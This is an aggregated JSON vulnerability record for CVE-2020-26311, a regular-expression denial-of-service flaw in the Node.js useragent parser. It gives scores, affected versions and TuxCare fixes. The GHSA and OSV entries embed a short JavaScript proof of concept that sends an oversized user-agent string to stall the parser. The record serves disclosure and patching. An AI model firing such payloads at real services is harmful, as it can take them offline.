{"id":"CVE-2020-26311","aliases":["CLSA-2026-1772496673","CLSA-2026-1776731779","CLSA-2026-1786539981","EUVD-2024-3081","GHSA-mgfv-m47x-4wqp"],"status":"published","title":"GHSL-2020-312: Regular Expression Denial of Service (ReDoS) in useragent","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Green","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00518,"percentile":0.44526,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2024-10-26T20:26:35Z","modified":"2026-10-26T13:21:31Z","fixes":[{"ecosystem":"TuxCare:npm","package":"useragent","fixed_in":["2.3.0-tuxcare.1","2.2.1-tuxcare.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"useragent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.3.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"useragent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0-tuxcare.0"},{"fixed":"2.3.0-tuxcare.1"}]}],"versions":["2.3.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"useragent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.1-tuxcare.0"},{"fixed":"2.2.1-tuxcare.1"}]}],"versions":["2.2.1"]},{"source":"osv","ecosystem":"npm","package":"useragent","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.3.0"}]}]}],"products":[{"vendor":"3rd-eden","product":"useragent"},{"vendor":"useragent_project","product":"useragent"}],"references":[{"url":"https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent/","tags":["Exploit","Third Party Advisory"]},{"url":"https://github.com/3rd-Eden/useragent/issues/167","tags":["Issue Tracking","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26311","tags":["advisory"]},{"url":"https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent","tags":["advisory"]},{"url":"https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b","tags":["web"]},{"url":"https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568","tags":["web"]},{"url":"https://github.com/advisories/GHSA-mgfv-m47x-4wqp"},{"url":"https://github.com/3rd-Eden/useragent","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2020-26311","title":"GHSL-2020-312: Regular Expression Denial of Service (ReDoS) in useragent","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.","status":"published","published":"2024-10-26T20:26:35.087Z","modified":"2024-10-28T13:42:18.048Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Green","level":"high","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:35:45.763329Z"}],"euvd":[{"id":"EUVD-2024-3081","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.","status":"published","published":"2024-10-26T20:26:35Z","modified":"2024-10-28T13:42:18Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Green","level":"high"}],"updated_at":"2026-11-03T00:05:16.619611Z"}],"ghsa":[{"id":"GHSA-mgfv-m47x-4wqp","title":"useragent Regular Expression Denial of Service vulnerability","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n   const useragent = require(\\\"useragent\\\");\n\n   // Create a malicious user-agent that leads to excessive backtracking\n   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';\n\n   // Parse the malicious user-agent\n   const agent = useragent.parse(maliciousUserAgent);\n\n   // Call the toString method to trigger the vulnerability\n   const result = await agent.device.toString();\n   console.log(result);\n}\n\nawait exploit();\n```","status":"published","published":"2024-10-26T21:30:47Z","modified":"2025-09-03T15:17:54Z","cvss":[{"version":"4.0","score":6.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:38:55.953734Z"}],"nvd":[{"id":"CVE-2020-26311","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.","status":"published","published":"2024-10-26T21:15:14.4Z","modified":"2026-06-17T03:08:03.297Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Green","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:06:48.591569Z"}],"osv":[{"id":"GHSA-mgfv-m47x-4wqp","title":"useragent Regular Expression Denial of Service vulnerability","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n   const useragent = require(\\\"useragent\\\");\n\n   // Create a malicious user-agent that leads to excessive backtracking\n   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';\n\n   // Parse the malicious user-agent\n   const agent = useragent.parse(maliciousUserAgent);\n\n   // Call the toString method to trigger the vulnerability\n   const result = await agent.device.toString();\n   console.log(result);\n}\n\nawait exploit();\n```","status":"published","published":"2024-10-26T21:30:47Z","modified":"2025-09-03T15:17:53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"4.0","score":6.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:51.811331Z"},{"id":"CLSA-2026-1772496673","title":"TuxCare security update for useragent (1 CVE)","description":"TuxCare rebuilt useragent to address 1 CVE. Fixed in 2.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:08Z","modified":"2026-10-15T09:47:46.403585234Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"CLSA-2026-1776731779","title":"TuxCare security update for useragent (1 CVE)","description":"TuxCare rebuilt useragent to address 1 CVE. Fixed in 2.2.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:47:07.605643242Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1786539981","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 2.3.0-tuxcare.1.","status":"withdrawn","published":"2026-08-12T13:06:21Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:46.850893Z"}]}}